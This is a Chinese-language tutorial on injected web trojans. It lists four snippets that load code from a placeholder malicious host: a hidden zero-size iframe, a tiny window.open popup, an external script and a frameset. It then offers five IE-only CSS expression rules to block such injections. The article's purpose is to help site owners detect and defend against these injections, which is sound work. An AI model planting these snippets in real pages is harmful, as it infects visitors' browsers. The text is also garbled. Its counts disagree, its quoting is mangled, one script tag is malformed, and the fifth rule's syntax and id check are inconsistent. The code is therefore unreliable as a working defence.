網頁通用挂碼有三種方式,具體怎麼挂的,網頁被挂碼的時候,HTML會混亂,造成前台首頁參差不齊,被挂網頁的網碼一般有以下四種:
一:<iframe src="網馬的位址" width="0" height="0" frame></iframe>,“width="0" height="0" frame就是大小高度的意思”這樣被挂馬的網頁上就不會顯示出來。
二:腳本挂馬
<SCRIPT language=javascript>
window.open("網馬的位址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
三:這一點就是比較隐蔽的那就是使用js檔案,代碼如下:<script language="javascript" src="</script''''>http://xxxxxxx.net/mm.js"></script>這種呢,是很難發現被挂碼,但是容易造成HTML混亂
四:再一種代碼就是調用其他網頁的頁面檔案,可以将下面的代碼複制,儲存為HTM檔案,代碼如下: frameset rows="444,0" cols="*">
<frame src="/網馬的位址" fram scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="help.htm" frame scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset>
以上是被挂碼的時候網頁上會存在以上代碼,那如果在檢查網頁是否被挂馬時看到這些代碼就可以證明有無挂馬的現象了,發現網頁被挂馬後,通用的做法就是把以上代碼中的任一代碼删除然後儲存即可。
解決方案1:
iframe{n1ifm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{nojs1:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.write(''''木馬被成功隔離!''''):'''''''');}
原理:将<script>标記的src拿出來轉為小寫,再看是不是以“http”開頭的外域JS腳本檔案,如果是,則頁面内容清空并寫出“木馬被成功隔離!”。反之正常顯示。
缺點:訪客無法看到被感染了<script>木馬的頁面。
解決方案2:
iframe{nifm2:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{no2js:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.close():'''''''');}
原理:将外域的JS檔案的document.write()使用document.close()強制關閉。木馬内容還沒有來得及寫完,隻有部分被強制緩存輸出了,剩下的不會再寫了。
解決方案3:
iframe{ni3fm:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{n3ojs:expression((this.src.toLowerCase().indexOf(''''http'''')==0)?document.execCommand(''''stop''''):'''''''');}
原理:同到外域的JS檔案,立即調用IE私有的execCommand方法來停止頁面所有請求,是以接下來的外域JS檔案也被強制停止下載下傳了。就像我們點了浏覽器的“停止”按鈕一樣。看來這是JS模拟IE停止按鈕的一種方法。
解決方案4:
iframe{nif4m:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj4s:expression(if(this.src.indexOf(''''http'''')==0)this.src=''''res://ieframe.dll/dnserror.htm'''');}
原理:将外域的JS檔案的src重寫成本地IE404錯誤頁面的位址,這樣,外域的JS代碼不會下載下傳。
解決方案5:
iframe{nifm5:expression(this.src=''''about:blank'''',this.outerHTML='''''''');}
script{noj5s:expression((this.id.toLowerCase().indexOf(''''vok'''')!=-1)?document.write(''''木馬被成功隔離!''''):''''''''));}
第五種方案的頁面HTML源代碼<script>中要加入以"lh"為字首的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
綜上所述,是用CSS解決木馬問題,訪客不會再輕易地中毒了。最終的解決方案是找出真正被挂IFRAME的原因,堵住源頭,即網站漏洞之類的.